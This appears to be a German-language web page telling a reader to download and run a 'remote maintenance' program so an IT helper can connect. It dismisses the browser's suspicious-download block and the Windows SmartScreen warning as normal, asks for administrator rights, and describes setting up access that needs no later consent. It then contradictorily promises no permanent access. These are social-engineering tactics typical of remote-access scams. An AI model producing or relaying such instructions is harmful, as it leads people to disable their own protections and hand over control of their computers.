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Fernwartung starten

Dein IT-Betreuer schaltet sich gleich auf deinen Rechner. Vier Schritte – dauert keine Minute.

Klick auf den Button und lade das Fernwartungs-Programm herunter.

Windows 10/11 · Ein Klick · Richtet den Fernwartungszugang ein

⚠ Browser zeigt „Verdächtiger Download blockiert“?

Das ist normal – die Datei ist noch nicht signiert. Klick auf „Trotzdem herunterladen“ (Chrome / Edge) bzw. „Datei behalten“ (Firefox).

Starte die heruntergeladene Datei direkt aus dem Downloads-Ordner per Doppelklick.

⚠ „Der Computer wurde durch Windows geschützt“?

Auch das ist normal. So geht's weiter:

Eine offizielle Code-Signierung folgt in Kürze – dann entfällt diese Meldung.

Windows fragt einmal nach, ob das Programm Änderungen vornehmen darf. Bitte auf „Ja“ klicken – danach läuft alles von selbst.

ⓘ Warum ist das nötig?

Damit wird der Fernwartungszugang eingerichtet. Ohne diese Bestätigung müsstest du bei jeder Verbindung erneut zustimmen und ein Kennwort vorlesen.

Das Programm zeigt eine Bestätigung, sobald alles bereit ist. Dein IT-Betreuer verbindet sich dann automatisch.

🔒 Verschlüsselte Verbindung ⌛ Sitzung endet automatisch ✓ Kein dauerhafter Zugriff